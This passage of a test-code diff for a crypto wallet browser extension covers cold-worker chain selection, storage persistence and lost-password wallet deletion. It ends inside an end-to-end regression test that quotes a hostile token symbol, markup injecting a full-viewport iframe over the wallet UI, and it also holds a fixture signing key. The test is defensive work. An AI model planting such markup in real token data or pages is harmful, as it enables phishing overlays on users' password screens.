+        // save that follows would persist the pre-refresh values — while still
+        // stamping lastBalanceRefresh, suppressing the redo.
+        let releaseRoundTrip;
+        const roundTrip = new Promise((resolve) => {
+            releaseRoundTrip = resolve;
+        });
+        let refreshReachedNetwork;
+        const inFlight = new Promise((resolve) => {
+            refreshReachedNetwork = resolve;
+        });
+
+        const bg = loadColdWorker("sepolia", {
+            refreshBalances: async (wallets) => {
+                refreshReachedNetwork();
+                await roundTrip;
+                // In place, on the objects handed in — as balances.js does.
+                wallets[0].addresses[0].balance = REFRESHED_BALANCE;
+            },
+        });
+
+        const refresh = bg.fireBalanceAlarm();
+        await inFlight;
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+
+        releaseRoundTrip();
+        await refresh;
+
+        expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
+            REFRESHED_BALANCE,
+        );
+    });
+});

tests/coldWorkerChainSwitch.test.js

@@ -16,6 +16,7 @@
 // first, so neither can see this.
 
 const { networkById } = require("../src/shared/networks");
+const { makeStorageStub } = require("./support/storageStub");
 
 const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
 
@@ -64,9 +65,12 @@ afterEach(() => {
     delete global.chrome;
 });
 
-// Load the background worker with the real state and chain-switch modules
-// behind it, over a storage stub that actually keeps what is written — a
-// wipe is only observable against storage that remembers.
+// Load the background worker with the real chain-switch and persistence
+// modules behind it, over a storage stub that actually keeps what is written —
+// a wipe is only observable against storage that remembers — and that clones
+// in both directions, as the real API does. It used to alias, so the record
+// the worker held and the "stored" one were a single object; see
+// tests/support/storageStub.js.
 function loadColdWorker(networkId) {
     jest.resetModules();
 
@@ -84,20 +88,13 @@ function loadColdWorker(networkId) {
         registerAlarmHandlers: jest.fn(),
     }));
 
-    const store = { autistmask: storedProfile(networkId) };
+    const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
 
     let messageListener = null;
     const toTabs = [];
 
     global.chrome = {
-        storage: {
-            local: {
-                get: jest.fn(async () => ({ autistmask: store.autistmask })),
-                set: jest.fn(async (items) => {
-                    store.autistmask = items.autistmask;
-                }),
-            },
-        },
+        storage,
         runtime: {
             getURL: (path) => "chrome-extension://autistmask/" + path,
             onMessage: {
@@ -147,7 +144,7 @@ function loadColdWorker(networkId) {
 
     return {
         switchChain,
-        persisted: () => store.autistmask,
+        persisted: () => storage.read("autistmask"),
         chainChangedEvents: () =>
             toTabs.filter((m) => m.eventName === "chainChanged"),
     };

tests/coldWorkerSendTransaction.test.js

@@ -0,0 +1,279 @@
+// Which chain a dApp transaction is PREPARED for on a worker that has not
+// loaded state.
+//
+// The MV3 service worker is terminated when idle — roughly 30 seconds, which
+// is its normal condition — and revived by the page's own message. Nothing
+// loads state at module scope, so handleSendTransaction() used to build its
+// provider with `getProvider(await getRpcUrl())`: the endpoint came from
+// storage and was right, and the static network hint was omitted, so
+// src/shared/balances.js fell back to currentNetwork() — the unpopulated
+// singleton — and answered mainnet. ethers then fixed `chainId` at 0x1.
+//
+// The transaction was not sent on the wrong chain: verifySignedTx() compares
+// the artifact against the selected chain and refused it. So the guard held
+// and the feature did not — a user on any non-mainnet network could not send
+// from a dApp at all, and the error described the symptom
+// (https://git.eeqj.de/sneak/AutistMask/issues/320).
+//
+// This drives the real balances module and the real approval preparation and
+// verification. Only ethers' JsonRpcProvider is replaced, so the static
+// network hint getProvider() computes is the hint the population sees.
+
+const { Network, Wallet, Transaction } = require("ethers");
+const { networkById } = require("../src/shared/networks");
+const { makeStorageStub } = require("./support/storageStub");
+
+const SIGNER_KEY =
+    "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
+const signer = new Wallet(SIGNER_KEY);
+const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const EXT_URL = "chrome-extension://autistmask/";
+
+const SEPOLIA = networkById("sepolia");
+const MAINNET = networkById("mainnet");
+
+const NONCE = 7;
+const TX_HASH = "0xfeed";
+
+const TX_PARAMS = {
+    from: signer.address,
+    to: RECIPIENT,
+    value: "0x2386f26fc10000",
+    data: "0x",
+};
+
+function storedProfile(networkId) {
+    const net = networkById(networkId);
+    return {
+        hasWallet: true,
+        wallets: [
+            {
+                name: "Wallet 1",
+                type: "hd",
+                xpub: "xpub-1",
+                addresses: [
+                    {
+                        address: signer.address,
+                        balance: "0.0",
+                        tokenBalances: [],
+                    },
+                ],
+            },
+        ],
+        activeAddress: signer.address,
+        networkId,
+        rpcUrl: net.defaultRpcUrl,
+        blockscoutUrl: net.defaultBlockscoutUrl,
+        allowedSites: { [signer.address]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [],
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 60; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// A worker whose only wallet state is what is in storage, with ethers'
+// JsonRpcProvider replaced by a stub that answers out of the static network it
+// was constructed with — which is exactly what a real staticNetwork provider
+// does, and what makes the chain id on the approval screen observable here.
+function loadColdWorker(networkId) {
+    jest.resetModules();
+
+    const constructed = [];
+    const broadcast = [];
+
+    jest.doMock("ethers", () => {
+        const actual = jest.requireActual("ethers");
+        class StubJsonRpcProvider {
+            constructor(url, network) {
+                this._network = network;
+                constructed.push({ url, network });
+            }
+            async getNetwork() {
+                return this._network;
+            }
+            async getTransactionCount() {
+                return NONCE;
+            }
+            async estimateGas() {
+                return 100000n;
+            }
+            async getFeeData() {
+                return {
+                    gasPrice: 2000000000n,
+                    maxFeePerGas: 2000000000n,
+                    maxPriorityFeePerGas: 1000000000n,
+                };
+            }
+            async broadcastTransaction(raw) {
+                broadcast.push(raw);
+                return { hash: TX_HASH };
+            }
+        }
+        return { ...actual, JsonRpcProvider: StubJsonRpcProvider };
+    });
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn(),
+    }));
+
+    const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
+
+    let messageListener = null;
+    const createdUrls = [];
+
+    global.chrome = {
+        storage,
+        runtime: {
+            getURL: (path) => EXT_URL + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (opts, cb) => {
+                createdUrls.push(opts.url);
+                cb({ id: createdUrls.length });
+            },
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    function send(msg, sender) {
+        let result = null;
+        messageListener(msg, sender, (r) => {
+            result = r;
+        });
+        return () => result;
+    }
+
+    return {
+        send,
+        constructed,
+        broadcast,
+        fromPopup: { url: EXT_URL + "src/popup/index.html" },
+        // The first message this worker ever sees, as the injected provider
+        // sends it.
+        sendTransaction: () =>
+            send(
+                {
+                    type: "AUTISTMASK_RPC",
+                    method: "eth_sendTransaction",
+                    params: [TX_PARAMS],
+                },
+                { origin: CONNECTED_ORIGIN },
+            ),
+        approvalId: () => {
+            const url = createdUrls[createdUrls.length - 1];
+            return url
+                ? new URL(url, EXT_URL).searchParams.get("approval")
+                : null;
+        },
+    };
+}
+
+// What the approval window does: fetch the approval and sign the transaction
+// it was handed, exactly as given.
+function signApproved(approvedTx) {
+    const tx = {};
+    for (const [key, value] of Object.entries(approvedTx)) {
+        if (key === "from") continue;
+        tx[key] = value;
+    }
+    return signer.signTransaction(tx);
+}
+
+describe("a dApp transaction prepared by a worker that never loaded state", () => {
+    test("a cold send on Sepolia reaches the approval screen and goes out", async () => {
+        const bg = loadColdWorker("sepolia");
+
+        const answer = bg.sendTransaction();
+        await settle();
+
+        // The provider was built for Sepolia, endpoint and static hint
+        // together. Omitting the hint made this mainnet.
+        expect(bg.constructed).toHaveLength(1);
+        expect(bg.constructed[0].url).toBe(SEPOLIA.defaultRpcUrl);
+        expect(bg.constructed[0].network.chainId).toBe(
+            Network.from("sepolia").chainId,
+        );
+
+        // So the approval the user is shown is a Sepolia transaction.
+        const id = bg.approvalId();
+        expect(id).toBeTruthy();
+        const approval = bg.send(
+            { type: "AUTISTMASK_GET_APPROVAL", id },
+            { url: bg.fromPopup.url },
+        )();
+        expect(approval.type).toBe("tx");
+        expect(approval.approvedTx.chainId).toBe(SEPOLIA.chainId);
+
+        // And it survives the wallet's own verification, which is where a
+        // 0x1-stamped artifact was refused as "for a different network".
+        const rawSignedTx = await signApproved(approval.approvedTx);
+        const response = bg.send(
+            {
+                type: "AUTISTMASK_TX_RESPONSE",
+                id,
+                approved: true,
+                rawSignedTx,
+            },
+            { url: bg.fromPopup.url },
+        );
+        await settle();
+
+        expect(response()).toEqual({ txHash: TX_HASH });
+        expect(bg.broadcast).toEqual([rawSignedTx]);
+        expect(Number(Transaction.from(rawSignedTx).chainId)).toBe(
+            Number(SEPOLIA.networkVersion),
+        );
+        expect(answer()).toEqual({ result: TX_HASH });
+    });
+
+    test("a cold send on mainnet is prepared for mainnet", async () => {
+        // The stored value and the old fallback agree here, so this case
+        // cannot catch the defect; it is what keeps the fix from being a swap.
+        const bg = loadColdWorker("mainnet");
+
+        bg.sendTransaction();
+        await settle();
+
+        expect(bg.constructed[0].url).toBe(MAINNET.defaultRpcUrl);
+        const approval = bg.send(
+            { type: "AUTISTMASK_GET_APPROVAL", id: bg.approvalId() },
+            { url: bg.fromPopup.url },
+        )();
+        expect(approval.approvedTx.chainId).toBe(MAINNET.chainId);
+    });
+});

tests/deleteAddress.test.js

@@ -19,6 +19,14 @@ const {
     balanceWarningHtml,
 } = require("../src/popup/views/deleteAddress");
 const { prices, clearPrices } = require("../src/shared/prices");
+const { state } = require("../src/shared/state");
+
+// The screen prices holdings, and pricing asks which chain it is on. Reading
+// the singleton's network before anything loaded it now throws rather than
+// answering mainnet by default
+// (https://git.eeqj.de/sneak/AutistMask/issues/324), so the network this
+// fixture is on is stated instead of assumed.
+state.networkId = "mainnet";
 
 const USDC = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
 

tests/deleteWalletLostPassword.test.js

@@ -0,0 +1,477 @@
+// The lost-password route off the delete-wallet screen (issue #312).
+//
+// What is pinned here is that a user who has forgotten the password can
+// still get out — no password is asked for and none is checked — and that
+// the escape hatch destroys exactly the wallet it names and nothing else.
+// The second half is the dangerous one: this is the only control in the
+// product that erases key material without the password that encrypted it,
+// so an off-by-one in the wallet it removes would take a wallet whose
+// owner never asked for it to be touched.
+//
+// The assertions are made against what came back OUT of extension storage,
+// not against the live `state` object. Deleting a wallet in memory and
+// never persisting it looks identical from `state`, and a build that never
+// wrote at all would pass a check that only reads `state` back.
+//
+// That makes the storage stub load-bearing, so it is the shared one from
+// tests/support/storageStub.js, a real store that structured-clones on both
+// `set` and `get`. A stub whose `get` hands back the same object its `set`
+// was given aliases the caller's own array: the test then reads its own
+// in-memory mutation and calls it persistence, and passes against a build
+// that persists nothing
+// (https://git.eeqj.de/sneak/AutistMask/issues/324). The aliasing is closed
+// off explicitly by the first test below rather than left as an assumption
+// about `structuredClone`.
+//
+// The view is driven against a minimal DOM stub, in the same shape as
+// tests/exportPrivkey.test.js: the module reads and writes named nodes and
+// needs nothing else from a document.
+
+const mockSettingsShow = jest.fn();
+jest.mock("../src/popup/views/settings", () => ({
+    show: mockSettingsShow,
+}));
+jest.mock("../src/shared/vault", () => ({
+    decryptWithPassword: jest.fn(),
+}));
+
+const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
+const { makeStorageStub } = require("./support/storageStub");
+
+const VIEW = "delete-wallet-lost-password";
+
+// Fixed addresses — never used for anything but these tests.
+const A0 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+const A1 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
+const B0 = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
+const C0 = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
+
+// ------------------------------------------------------------ DOM stub
+
+function makeElement(id) {
+    const classes = new Set();
+    const el = {
+        id,
+        textContent: "",
+        value: "",
+        innerHTML: "",
+        disabled: false,
+        style: {},
+        dataset: {},
+        listeners: {},
+        classList: {
+            add: (...names) => names.forEach((n) => classes.add(n)),
+            remove: (...names) => names.forEach((n) => classes.delete(n)),
+            contains: (n) => classes.has(n),
+            toggle: (n, force) => {
+                const on = force === undefined ? !classes.has(n) : force;
+                if (on) classes.add(n);
+                else classes.delete(n);
+                return on;
+            },
+        },
+        addEventListener: (name, fn) => {
+            el.listeners[name] = el.listeners[name] || [];
+            el.listeners[name].push(fn);
+        },
+        appendChild: () => {},
+        remove: () => {},
+        querySelectorAll: () => [],
+    };
+    return el;
+}
+
+function makeDocument() {
+    const els = new Map();
+    return {
+        getElementById(id) {
+            // The debug banner is created on demand by helpers.js; absent
+            // is the state a non-debug, non-testnet popup is in.
+            if (id === "debug-banner") return null;
+            if (!els.has(id)) els.set(id, makeElement(id));
+            return els.get(id);
+        },
+        createElement: () => makeElement("created"),
+        addEventListener: () => {},
+        body: { prepend: () => {} },
+    };
+}
+
+// ------------------------------------------------------------ harness
+
+function wallet(name, secret, addresses) {
+    return {
+        type: "hd",
+        name,
+        xpub: "xpub-" + name,
+        encryptedSecret: secret,
+        nextIndex: addresses.length,
+        addresses: addresses.map((address) => ({
+            address,
+            balance: "0.0000",
+            tokenBalances: [],
+        })),
+    };
+}
+
+function load() {
+    jest.resetModules();
+    mockSettingsShow.mockClear();
+
+    const storage = makeStorageStub();
+    const sent = [];
+    globalThis.chrome = {
+        storage: { local: storage.local },
+        runtime: { sendMessage: (msg) => sent.push(msg) },
+    };
+    globalThis.document = makeDocument();
+
+    const helpers = require("../src/popup/views/helpers");
+    const { state } = require("../src/shared/state");
+    const vault = require("../src/shared/vault");
+    const deleteWallet = require("../src/popup/views/deleteWallet");
+
+    state.hasWallet = true;
+    state.wallets = [
+        wallet("Wallet 1", "secret-one", [A0, A1]),
+        wallet("Wallet 2", "secret-two", [B0]),
+        wallet("Wallet 3", "secret-three", [C0]),
+    ];
+    state.selectedWallet = 0;
+    state.selectedAddress = 0;
+    state.activeAddress = A0;
+    state.allowedSites = { [A0]: ["a.example"], [B0]: ["b.example"] };
+    state.deniedSites = { [B0]: ["c.example"], [C0]: ["d.example"] };
+    state.viewStack = ["main", "settings"];
+    state.currentView = "settings";
+
+    const renderWalletList = jest.fn();
+    deleteWallet.init({ renderWalletList });
+
+    return { helpers, state, vault, deleteWallet, storage, sent };
+}
+
+function click(id) {
+    const el = globalThis.document.getElementById(id);
+    return Promise.all((el.listeners.click || []).map((fn) => fn()));
+}
+
+function node(id) {
+    return globalThis.document.getElementById(id);
+}
+
+// The wallets as the extension would read them back on a cold start.
+async function persistedWallets(storage) {
+    const result = await storage.get("autistmask");
+    return result.autistmask.wallets;
+}
+
+// Open the lost-password screen for a wallet, the way the user does.
+async function openLostPassword(deleteWallet, walletIdx) {
+    deleteWallet.show(walletIdx);
+    await click("btn-delete-wallet-lost-password");
+}
+
+// ------------------------------------------------------------ tests
+
+// The stub is what every persistence assertion below rests on, so its one
+// dangerous failure mode is closed off first. An aliasing store passes
+// every other test in this file against a build that never writes.
+describe("the storage stub", () => {
+    test("does not hand back the object it was given", async () => {
+        const storage = makeStorageStub();
+        const written = { wallets: [{ name: "Wallet 1" }] };
+
+        await storage.set({ autistmask: written });
+        written.wallets.push({ name: "Wallet 2" });
+        written.wallets[0].name = "renamed after the write";
+
+        const readBack = (await storage.get("autistmask")).autistmask;
+        expect(readBack.wallets).toHaveLength(1);
+        expect(readBack.wallets[0].name).toBe("Wallet 1");
+
+        // And the other direction: mutating what came out must not reach
+        // back into the store.
+        readBack.wallets[0].name = "renamed after the read";
+        const again = (await storage.get("autistmask")).autistmask;
+        expect(again.wallets[0].name).toBe("Wallet 1");
+    });
+});
+
+describe("reaching the screen", () => {
+    test("the delete screen offers the route", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        expect(state.currentView).toBe(VIEW);
+        expect(node("delete-wallet-lost-name").textContent).toBe("Wallet 2");
+        expect(node("delete-wallet-lost-name-echo").textContent).toBe(
+            "Wallet 2",
+        );
+    });
+
+    // Both delete screens hang off Settings. Pushing one onto the other
+    // would leave Back on the confirm screen popping onto itself.
+    test("it does not push the screen it came from", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        expect(state.viewStack).toEqual(["main", "settings"]);
+    });
+
+    test("Back returns to the delete screen with its wallet still chosen", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+        await click("btn-delete-wallet-lost-back");
+
+        expect(state.currentView).toBe("delete-wallet-confirm");
+        expect(node("delete-wallet-name").textContent).toBe("Wallet 2");
+        expect(state.viewStack).toEqual(["main", "settings"]);
+
+        // The confirm screen is usable, not merely on screen: the wallet
+        // it holds is the one that was chosen, so its own button does not
+        // answer "No wallet selected for deletion."
+        node("delete-wallet-password").value = "some password";
+        const { decryptWithPassword } = require("../src/shared/vault");
+        decryptWithPassword.mockRejectedValue(new Error("nope"));
+        await click("btn-delete-wallet-confirm");
+        expect(node("delete-wallet-flash").textContent).toBe(
+            "That password is incorrect. Please try again.",
+        );
+    });
+});
+
+describe("the typed confirmation", () => {
+    test("a name that is not the wallet's deletes nothing", async () => {
+        const { deleteWallet, state, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 3";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(node("delete-wallet-lost-flash").textContent).toBe(
+            "That is not the name of this wallet. Type Wallet 2 to confirm.",
+        );
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "visible",
+        );
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+            "Wallet 3",
+        ]);
+        expect(state.currentView).toBe(VIEW);
+        // Nothing was destroyed on disk either. Storage is not empty —
+        // showView() persists the current screen on the way in — so what
+        // is asserted is that all three wallets are still in it.
+        const persisted = await persistedWallets(storage);
+        expect(persisted.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+            "secret-three",
+        ]);
+    });
+
+    test("an empty field deletes nothing", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "visible",
+        );
+        expect(state.wallets).toHaveLength(3);
+    });
+
+    // Not a secret and not a password: it asks whether the user knows
+    // which wallet they are on. Refusing the name they can plainly read,
+    // over letter case, would only teach them to distrust the control.
+    test("case and surrounding spaces do not matter", async () => {
+        const { deleteWallet, state, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "  wALLet 2 ";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 3",
+        ]);
+        expect(await persistedWallets(storage)).toHaveLength(2);
+    });
+
+    // A name with a doubled inner space RENDERS with one — HTML collapses
+    // runs of whitespace — so the string the user can see and type is not
+    // the string the name is stored as. Comparing the two raw would make
+    // this wallet's confirmation impossible to satisfy by any typing at
+    // all, wedging the one screen that exists to unwedge people.
+    test("a doubled space inside the name is typed back as one", async () => {
+        const { deleteWallet, state, storage } = load();
+        state.wallets[1].name = "My  Wallet";
+        await openLostPassword(deleteWallet, 1);
+
+        // What the DOM was handed still has both spaces; what the user
+        // reads off the screen, and therefore types, has one.
+        expect(node("delete-wallet-lost-name").textContent).toBe("My  Wallet");
+        node("delete-wallet-lost-name-input").value = "My Wallet";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 3",
+        ]);
+        const persisted = await persistedWallets(storage);
+        expect(persisted.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-three",
+        ]);
+    });
+});
+
+describe("deleting without the password", () => {
+    test("no password is asked for and none is checked", async () => {
+        const { deleteWallet, vault, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(vault.decryptWithPassword).not.toHaveBeenCalled();
+        expect(await persistedWallets(storage)).toHaveLength(2);
+    });
+
+    // The load-bearing assertion of the whole file, and the one that says
+    // this control is safe to give a user who cannot prove anything: it
+    // removes the wallet it named, and every other wallet survives intact,
+    // key material included.
+    test("exactly the named wallet is destroyed", async () => {
+        const { deleteWallet, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const wallets = await persistedWallets(storage);
+        expect(wallets.map((w) => w.name)).toEqual(["Wallet 1", "Wallet 3"]);
+        expect(wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-three",
+        ]);
+        expect(wallets.map((w) => w.xpub)).toEqual([
+            "xpub-Wallet 1",
+            "xpub-Wallet 3",
+        ]);
+        expect(wallets[0].addresses.map((a) => a.address)).toEqual([A0, A1]);
+        expect(wallets[1].addresses.map((a) => a.address)).toEqual([C0]);
+
+        // The deleted wallet's secret is gone from storage entirely, not
+        // merely unreferenced by the wallet list.
+        expect(JSON.stringify(storage.read())).not.toContain("secret-two");
+        expect(JSON.stringify(storage.read())).not.toContain("xpub-Wallet 2");
+    });
+
+    test("only the deleted wallet's site permissions are dropped", async () => {
+        const { deleteWallet, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.allowedSites).toEqual({ [A0]: ["a.example"] });
+        expect(saved.deniedSites).toEqual({ [C0]: ["d.example"] });
+    });
+
+    // The route shares finishDelete() with the password route, so the
+    // selection repair and the accountsChanged broadcast are the same on
+    // both. Deleting a wallet that did not own the active address must
+    // leave that address, and the selection, exactly where they were.
+    test("a selection in another wallet is left alone", async () => {
+        const { deleteWallet, storage, sent } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.activeAddress).toBe(A0);
+        expect(saved.selectedWallet).toBe(0);
+        expect(saved.selectedAddress).toBe(0);
+        expect(sent).toEqual([]);
+        // Settings is stubbed, so this is where the route hands over, not
+        // where it renders.
+        expect(mockSettingsShow).toHaveBeenCalled();
+    });
+
+    test("deleting the wallet holding the active address moves it and says so", async () => {
+        const { deleteWallet, storage, sent } = load();
+        await openLostPassword(deleteWallet, 0);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 1";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.wallets.map((w) => w.name)).toEqual([
+            "Wallet 2",
+            "Wallet 3",
+        ]);
+        expect(saved.activeAddress).toBe(B0);
+        expect(sent).toEqual([{ type: "AUTISTMASK_ACTIVE_CHANGED" }]);
+    });
+
+    test("deleting the last wallet lands on Welcome with nothing left", async () => {
+        const { deleteWallet, state, storage } = load();
+        state.wallets = [wallet("Wallet 1", "secret-one", [A0])];
+        state.allowedSites = { [A0]: ["a.example"] };
+        state.deniedSites = {};
+
+        await openLostPassword(deleteWallet, 0);
+        node("delete-wallet-lost-name-input").value = "Wallet 1";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.wallets).toEqual([]);
+        expect(saved.hasWallet).toBe(false);
+        expect(saved.activeAddress).toBeNull();
+        expect(saved.allowedSites).toEqual({});
+        expect(state.currentView).toBe("welcome");
+        expect(JSON.stringify(storage.read())).not.toContain("secret-one");
+    });
+});
+
+describe("what the screen leaves behind", () => {
+    test("the typed confirmation is wiped when the screen is left", async () => {
+        const { helpers, deleteWallet } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        // The Settings gear, which is not this screen's Back button.
+        helpers.showView("settings");
+
+        expect(node("delete-wallet-lost-name-input").value).toBe("");
+        expect(node("delete-wallet-lost-flash").textContent).toBe("");
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "hidden",
+        );
+    });
+
+    // Left mid-delete, the screen has to come back usable.
+    test("the confirm button is re-enabled on the way out", async () => {
+        const { helpers, deleteWallet } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("btn-delete-wallet-lost-confirm").disabled = true;
+        helpers.showView("settings");
+
+        expect(node("btn-delete-wallet-lost-confirm").disabled).toBe(false);
+    });
+
+    // A wallet name is not a secret, so the screen is excluded for the
+    // other reason: reopening the popup must not land the user on a screen
+    // whose button erases key material.
+    test("the popup may not reopen onto it", () => {
+        expect(RESTORABLE_VIEWS.has(VIEW)).toBe(false);
+        expect(RESTORABLE_VIEWS.has("delete-wallet-confirm")).toBe(false);
+    });
+});

tests/e2e/network.js

@@ -268,11 +268,15 @@ function ethCallResult(req, opts) {
     return ZERO_WORD;
 }
 
-function tokenObject() {
+// opts.tokenSymbolOverride is the hostile contract: set it and the explorer
+// reports that string as the token's symbol, exactly as it would for a token
+// whose symbol() returns markup. Read at request time, like every other
+// fixture switch, so a test can flip it and reopen the popup.
+function tokenObject(opts) {
     return {
         address_hash: STUB_TOKEN.address,
         address: STUB_TOKEN.address,
-        symbol: STUB_TOKEN.symbol,
+        symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol,
         name: STUB_TOKEN.name,
         decimals: STUB_TOKEN.decimals,
         holders_count: STUB_TOKEN.holders,
@@ -281,7 +285,7 @@ function tokenObject() {
 }
 
 // One received ERC-20 transfer of 1.5 E2E to the address under test.
-function tokenTransferItems(address) {
+function tokenTransferItems(address, opts) {
     return [
         {
             transaction_hash: STUB_TX_HASH,
@@ -290,7 +294,7 @@ function tokenTransferItems(address) {
             from: { hash: STUB_COUNTERPARTY },
             to: { hash: address },
             total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -317,11 +321,11 @@ function nativeTransactionItems(address) {
 // A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
 // this is what puts an ERC-20 in the send screen's token dropdown, which is
 // the only way the confirmation screen's ERC-20 path can be reached.
-function tokenBalanceItems() {
+function tokenBalanceItems(opts) {
     return [
         {
             value: "1500000",
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -596,6 +600,9 @@ function traceEnabled(raw) {
  * @param {string} [opts.tokenDecimalsOverride]  what decimals() answers for
  *   the stub token, in place of the value Blockscout reports for it. This is
  *   the token that lies about its scale; read at request time.
+ * @param {string} [opts.tokenSymbolOverride]  what the explorer reports as
+ *   the stub token's symbol, in place of "E2E". This is the token whose
+ *   symbol is markup; read at request time.
  * @param {boolean} [opts.seedReceipt]  answer eth_getTransactionReceipt with a
  *   confirmed receipt instead of null, so a wait screen resolves.
  * @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
@@ -674,14 +681,14 @@ async function installNetworkStubs(ctx, opts) {
                 return jsonResponse(route, {
                     items:
                         opts.seedTokenTransfer && addr
-                            ? tokenTransferItems(addr)
+                            ? tokenTransferItems(addr, opts)
                             : [],
                 });
             }
             if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
                 return jsonResponse(
                     route,
-                    opts.seedTokenBalance ? tokenBalanceItems() : [],
+                    opts.seedTokenBalance ? tokenBalanceItems(opts) : [],
                 );
             }
             for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

tests/e2e/run.js

@@ -2169,6 +2169,156 @@ test("a token that lies about decimals() at signing time broadcasts nothing (#30
     await visible(env.page, "#view-address");
 });
 
+// ------------------------------------------- hostile token symbol (#307)
+//
+// The reproduction from the issue, in the real browser against the real
+// shipped manifest. A token symbol is whatever the contract's symbol()
+// returns, the explorer passes it through, and the popup interpolated it
+// into an innerHTML string — so a token with 1,000 holders airdropped to
+// the victim could paint a full-viewport cross-origin iframe over the
+// wallet's own UI, on the screens where the user types their password.
+//
+// The iframe count and the rendered text are asserted separately on
+// purpose, and neither substitutes for the other. `frame-src 'none'` stops
+// an injected frame LOADING; it does not stop the element existing, so a
+// zero iframe count is a claim about the escaping and about nothing else.
+// The literal capped text is the claim that the symbol was treated as a
+// string all the way down.
+//
+// The iframe count is taken on the address screen before anything is
+// clicked. That is where the injected frame lands first, and it covers the
+// viewport: with the escaping removed, every later step fails as a click
+// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
+// anything that names the defect.
+
+// Verbatim from the issue's reproduction.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
